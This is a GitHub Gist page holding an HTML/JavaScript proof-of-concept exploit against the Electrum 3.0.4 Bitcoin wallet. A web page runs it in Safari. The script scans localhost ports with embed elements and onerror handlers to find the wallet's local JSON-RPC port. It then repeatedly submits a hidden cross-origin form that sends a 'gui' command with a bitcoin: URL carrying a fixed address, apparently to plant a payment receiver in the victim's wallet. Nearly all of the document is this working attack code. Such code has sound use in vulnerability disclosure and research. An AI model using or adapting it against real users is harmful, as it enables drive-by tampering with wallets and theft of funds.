Last active
November 30, 2021 11:03
-
-
Save fransr/690e9ae6ce918d2e913ce6cb55ffbcae to your computer and use it in GitHub Desktop.
Simple port-scan using embed+onerror in Safari to send gui-commands to Electrum 3.0.4 without the need of any CORS-headers
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <body> | |
| <style>pre { white-space: inherit }</style> | |
| <pre id="log"></pre> | |
| <div id="ports" style="visibility: hidden; height: 0; width: 0;"></div> | |
| <iframe src="about:blank" name="x" id="x" style="display: none;"></iframe> | |
| </body> | |
| <script> | |
| var electrum = { | |
| logbreak: function() { e = document.createElement('br'); document.getElementById('log').appendChild(e); }, | |
| log: function(s) { e = document.createElement('span'); e.innerText = s+" "; document.getElementById('log').appendChild(e); }, | |
| ports: document.getElementById('ports'), | |
| found_port: false, | |
| port: 0 | |
| } | |
| electrum.stage1 = function() { | |
| electrum.log('Checking "open" ports using Safari bug...') | |
| electrum.stage1.start(20000); | |
| } | |
| electrum.stage1.start = function(s) { | |
| electrum.log(s); | |
| electrum.stage1.images = [] | |
| electrum.stage1.remove = function(e,x) { | |
| electrum.ports.removeChild(this) | |
| delete this | |
| } | |
| if(electrum.found_port) return; | |
| for(var i = s; i <= s+1000; i++) { | |
| var port = i; | |
| var x = document.createElement('embed'); | |
| x.src = 'http://127.0.0.1:'+port+'/x'; | |
| x.onload = electrum.stage1.done; | |
| x.onerror = electrum.stage1.remove; | |
| x.dataset.port = port | |
| x.dataset.i = i | |
| electrum.ports.appendChild(x) | |
| setTimeout(function(x) { electrum.ports.removeChild(x) },1000,x) | |
| electrum.stage1.images[i] = x | |
| } | |
| setTimeout(function(){electrum.stage1.start(s+1000);},2000); | |
| } | |
| electrum.stage1.done = function(e) { | |
| electrum.ports.removeChild(e.target) | |
| electrum.found_port = true; | |
| electrum.port = e.target.dataset.port; | |
| electrum.logbreak() | |
| electrum.log('Open port found: ' + e.target.dataset.port) | |
| electrum.stage2() | |
| } | |
| electrum.stage2 = function() { | |
| electrum.log('Will set receiver address in 5 secs'); | |
| setTimeout(function() { | |
| electrum.stage2.start(); | |
| }) | |
| } | |
| electrum.stage2.start = function() { | |
| f = document.createElement('form'); | |
| f.method = 'POST'; | |
| f.target = 'x'; | |
| f.enctype = 'text/plain'; | |
| f.action = 'http://127.0.0.1:' + electrum.port + '/'; | |
| i = document.createElement('input'); | |
| i.type = 'hidden'; | |
| i.name = '{"id":0,"method":"gui","params":[{"url":"bitcoin:1Jsjd6xL9NPzzUY5FxM7y614FFVKeg3QbM?'; | |
| i.value = '"}]}'; | |
| f.appendChild(i) | |
| setInterval(function() { f.submit(); }, 5000); | |
| } | |
| //electrum.port = '59768'; | |
| electrum.stage1() | |
| </script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment